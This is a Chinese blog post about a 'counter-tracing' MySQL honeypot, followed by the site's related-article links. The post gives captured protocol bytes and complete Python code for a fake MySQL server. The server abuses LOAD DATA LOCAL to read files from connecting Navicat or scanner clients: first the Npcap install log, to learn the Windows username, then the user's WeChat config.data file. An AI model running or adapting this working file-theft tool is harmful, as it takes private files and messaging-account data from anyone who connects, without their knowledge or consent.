东西比较老,类似的文章网上已经很多,原理主要是通过服务端的load data动作可以主动向客户端获取文件。

看过hfish等自带的mysql蜜罐读取/etc/passwd,感觉还差点实用性。这次文章主要还是要分析报文的数据交互,利用navicat二次交互获取微信等信息。

一、数据包分析:

1、用正式mysql环境,navicat连接抓包分析,TCP握手成功后,返回server greeting。

2、greeting报文主要是版本等信息,直接把bytes拿过来,待会儿socket制造套接字回包的时候直接用。

3、然后就是认证以后response ok,bytes拿过来,待会儿socket制造套接字回包的时候直接用,这是第二部分回包的数据。

4、接下去,navicat会发送set names utf8mb4,同理拷贝过来。

5、上面是navicat的已经够了,shack2要想扫到,交互还差几个包。SHOW VARIABLES,SHOW COLLATION,SET character_set_results=NULL。使用shack2做一次爆破后拷贝bytes字节流。内容很多,实际上只要头和尾就可以。验证如下:

6、总结下需要回包的字节流。

mysql版本信息 = b"4e0000000a352e362e35302d6c6f670040000000767152276a64357800fff72d02007f801500000000000000000000233f54672c4142665c796f40006d7973716c5f6e61746976655f70617373776f726400"

认证返回成功 = b"0700000200000002000000"

variables = b"0100000102540000020364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c080040000000fd01000000004d0000030364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530556616c75650e5641524941424c455f56414c55450c080000040000fd000000000005000004fe000022001b000005186175746f5f696e6372656d656e745f696e6372656d656e740131050000ccfe00002200"

COLLATION= b"0100000106530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c080020000000fd0100000000550000030364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530743686172736574124348415241435445525f5345545f4e414d450c080020000000fd0100000000400000040364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530249640249440c3f000b0000000801000000004d0000050364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530744656661756c740a49535f44454641554c540c080003000000fd01000000004f0000060364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5308436f6d70696c65640b49535f434f4d50494c45440c080003000000fd01000000004a0000070364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5307536f72746c656e07534f52544c454e0c3f000300000008010000000005000008fe00002200210000090f626967355f6368696e6573655f63690462696735013103596573035965730131050000e4fe00002200"

SET:b"0700000100000002000000"

二、信息获取

1、用户的user怎么搞?攻击者要装wireshark,大概率的。还有一个是装QQ的。我感觉wireshark可能性更大,npcap日志中含用户名。

C:\Program Files\Npcap\install.log
C:\Users\Public\Documents\Tencent\QQ\UserDataInfo.ini

2、剩下的就是微信,navicat二次交互,第一次抓计算机用户名,第二次根据用户名抓微信。

C:\Users\user_name\Documents\WeChat Files\All Users\config\config.data

第一次获取计算机用户名后替换user_name。

三、完整代码实现

 1 #-*- coding : utf-8 -*-
2 import codecs
3 import socket
4 import re
5
6 filename_get_user_file = r'C:\Program Files\Npcap\install.log'
7 filename_get_data_file = r'C:\Users\user_name\Documents\WeChat Files\All Users\config\config.data'
8
9 serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 username = ""
11
12 port = 3306
13
14 serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
15 serversocket.bind(("", port))
16 serversocket.listen(5)
17
18 def _get_file(file):
19 if len(str(len(file) + 1)) % 2 == 1:
20 file_length = "0" + hex(len(file) + 1)[2:]
21 else:
22 file_length = hex(len(file) + 1)[2:]
23 file_response = file_length + "000001fb" + file.encode().hex()
24 clientsocket.sendall(codecs.decode(str.encode(file_response), "hex_codec"))
25 file_content = str(clientsocket.recv(9999))
26 return file_content
27
28 while True:
29 # 建立连接
30 clientsocket,addr = serversocket.accept()
31
32 # 返回版本信息
33 mysql_version = b"4e0000000a352e362e35302d6c6f670040000000767152276a64357800fff72d02007f801500000000000000000000233f54672c4142665c796f40006d7973716c5f6e61746976655f70617373776f726400"
34 clientsocket.sendall(codecs.decode(mysql_version, "hex_codec"))
35 try:
36 # 客户端请求
37 clientsocket.recv(9999)
38 except Exception as e:
39 continue
40 # Response OK
41 verification = b"0700000200000002000000"
42 clientsocket.sendall(codecs.decode(verification, "hex_codec"))
43 try:
44 request_data = bytes.decode(clientsocket.recv(9999))
45
46 if "utf8mb4" in request_data:
47 if username == "":
48 file_content = _get_file(filename_get_user_file)
49 pattern = re.compile(r"Users[\\]{1,4}(\w*)")
50 user = pattern.findall(file_content)
51 if user != []:
52 username = user[0]
53 print(file_content)
54 else:
55 filename_get_data_file = filename_get_data_file.replace("user_name",username)
56 file_content = _get_file(filename_get_data_file)
57 print(file_content)
58 clientsocket.close()
59 elif "VARIABLES" in request_data:
60 variables_response = b"0100000102540000020364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c080040000000fd01000000004d0000030364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530556616c75650e5641524941424c455f56414c55450c080000040000fd000000000005000004fe000022001b000005186175746f5f696e6372656d656e745f696e6372656d656e740131050000ccfe00002200"
61 clientsocket.sendall(codecs.decode(variables_response, "hex_codec"))
62 if "COLLATION" in str(clientsocket.recv(9999)):
63 collation_response = b"0100000106530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c080020000000fd0100000000550000030364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530743686172736574124348415241435445525f5345545f4e414d450c080020000000fd0100000000400000040364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530249640249440c3f000b0000000801000000004d0000050364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530744656661756c740a49535f44454641554c540c080003000000fd01000000004f0000060364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5308436f6d70696c65640b49535f434f4d50494c45440c080003000000fd01000000004a0000070364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5307536f72746c656e07534f52544c454e0c3f000300000008010000000005000008fe00002200210000090f626967355f6368696e6573655f63690462696735013103596573035965730131050000e4fe00002200"
64 clientsocket.sendall(codecs.decode(collation_response, "hex_codec"))
65 if "SET" in str(clientsocket.recv(9999)):
66 set_response = b"0700000100000002000000"
67 clientsocket.sendall(codecs.decode(set_response, "hex_codec"))
68 except Exception as e:
69 print(e)

溯源反制-Mysql蜜罐的更多相关文章

  1. Mysql溯源-任意文件读取👻

    Mysql溯源-任意文件读取 前言 读了<MySQL蜜罐获取攻击者微信ID>的文章,文中说明了通过mysql蜜罐读取攻击者微信ID的过程,抱着学习的态度尝试了一下 原理 mysql中有一个 ...

  2. APT组织跟踪与溯源

    前言 在攻防演练中,高质量的蓝队报告往往需要溯源到攻击团队.国内黑产犯罪团伙.国外APT攻击. 红队现阶段对自己的信息保护的往往较好,根据以往溯源成功案例来看还是通过前端js获取用户ID信息.mysq ...

  3. MySQL复制异常大扫盲:快速溯源与排查错误全解

    MySQL复制异常大扫盲:快速溯源与排查错误全解https://mp.weixin.qq.com/s/0Ic8BnUokyOj7m1YOrk1tA 作者介绍王松磊,现任职于UCloud,从事MySQL ...

  4. Mysql命令show global status求根溯源

    近来,发现好多公司对mysql的性能监控是通过show global status实现的,因此对于这个命令想要探究一番,看他是否是实时更新的. 在此之前,我们必须搞明白mysql对于这个命令的执行过程 ...

  5. mysql发展历程 各分支版本溯源

    首先为什么要了解mysql的历史,了解一个软件的前生后世有时候还是很有必要,特别是对于走在架构之路或者是想深入了解一个软件的时候,在不同版本中由于进行了很多的改进或者说加入了新的功能,也有可能是软件本 ...

  6. 【排障】编译安装Mysql并使用自启动脚本mysqld后报错

    本文用于记录在某次个人实验搭建DZ论坛,在编译安装部署mysql环节时出的错到最终排除错误的过程, 前面采用DZ官网所采用的编译安装mysql的过程就省去,主要从报错处开始讲述. (题外话,经此一役后 ...

  7. Cowrie蜜罐部署教程【转载】

    0.蜜罐分类: 低交互:模拟服务和漏洞以便收集信息和恶意软件,但是攻击者无法和该系统进行交互: 中等交互:在一个特有的控制环境中模拟一个生产服务,允许攻击者的部分交互: 高交互:攻击者可以几乎自由的访 ...

  8. MYSQL的历史

    MYSQL的历史 见证MySQL发展历程 各分支版本溯源 http://tech.it168.com/a2012/0621/1363/000001363446.shtml [IT168 技术]毫无疑问 ...

  9. 简单实现MySQL数据库的日志审计

    时间 2018-12-23 08:01:11  FreeBuf 原文  https://www.freebuf.com/articles/es/192062.html 主题 MySQL 0×0 背景 ...

  10. [转]一键安装藏隐患,phpStudy批量入侵的分析与溯源

    一.前言 近日,腾讯安全云鼎实验室监测到大量主机被入侵并添加了一个名为“vusr_dx$”的隐藏帐号:同时,云鼎实验室还监测到此类帐号被大量创建的同时存在对应帐号异地登录的情况. Windows 的帐 ...

随机推荐

  1. [转帖]MySQL: Convert decimal to binary

    Last Update:2018-12-05 Source: Internet  Author: User Tags decimal to binary mysql code Developer on ...

  2. 【转帖】python 安装whl文件

    前言 WHL文件是以Wheel格式保存的Python安装包,Wheel是Python发行版的标准内置包格式.在本质上是一个压缩包,WHL文件中包含了Python安装的py文件和元数据,以及经过编译的p ...

  3. [转帖]Spring Cloud Alibaba Nacos 注册中心使用教程

    一. 什么是Nacos Nacos是一个更易于构建云原生应用的动态服务发现(Nacos Discovery ).服务配置(Nacos Config)和服务管理平台,集注册中心+配置中心+服务管理于一身 ...

  4. [译]深入了解现代web浏览器(四)

    本文是根据Mariko Kosaka在谷歌开发者网站上的系列文章https://developer.chrome.com/blog/inside-browser-part4/翻译而来,共有四篇,该篇是 ...

  5. C# MVC+NHibernate 分页

    一.页面代码,分为三部分,一是查询条件部分,二是数据部分,二是页码条 <div id="ticketoutquery"> <table> <tr> ...

  6. 【Spring】Bean装配类注解

    默认注入类型 多个同类型Bean 注入失败 依赖 使用目标(@Target) @AutoWired 通过type 默认首先安装属性名称进行注入 结合@Qualifier注解(value属性)设置注入的 ...

  7. Elasticsearch实战:常见错误及详细解决方案

    Elasticsearch实战:常见错误及详细解决方案 1.read_only_allow_delete":"true" 当我们在向某个索引添加一条数据的时候,可能(极少 ...

  8. Similarities:精准相似度计算与语义匹配搜索工具包,多维度实现多种算法,覆盖文本、图像等领域,支持文搜、图搜文、图搜图匹配搜索

    Similarities:精准相似度计算与语义匹配搜索工具包,多维度实现多种算法,覆盖文本.图像等领域,支持文搜.图搜文.图搜图匹配搜索 Similarities 相似度计算.语义匹配搜索工具包,实现 ...

  9. 2.6 Windows驱动开发:使用IO与DPC定时器

    本章将继续探索驱动开发中的基础部分,定时器在内核中同样很常用,在内核中定时器可以使用两种,即IO定时器,以及DPC定时器,一般来说IO定时器是DDK中提供的一种,该定时器可以为间隔为N秒做定时,但如果 ...

  10. 4.9 x64dbg 内存处理与差异对比

    LyScript 插件中针对内存读写函数的封装功能并不多,只提供了最基本的内存读取和内存写入系列函数的封装,本章将继续对API接口进行封装,实现一些在软件逆向分析中非常实用的功能,例如ShellCod ...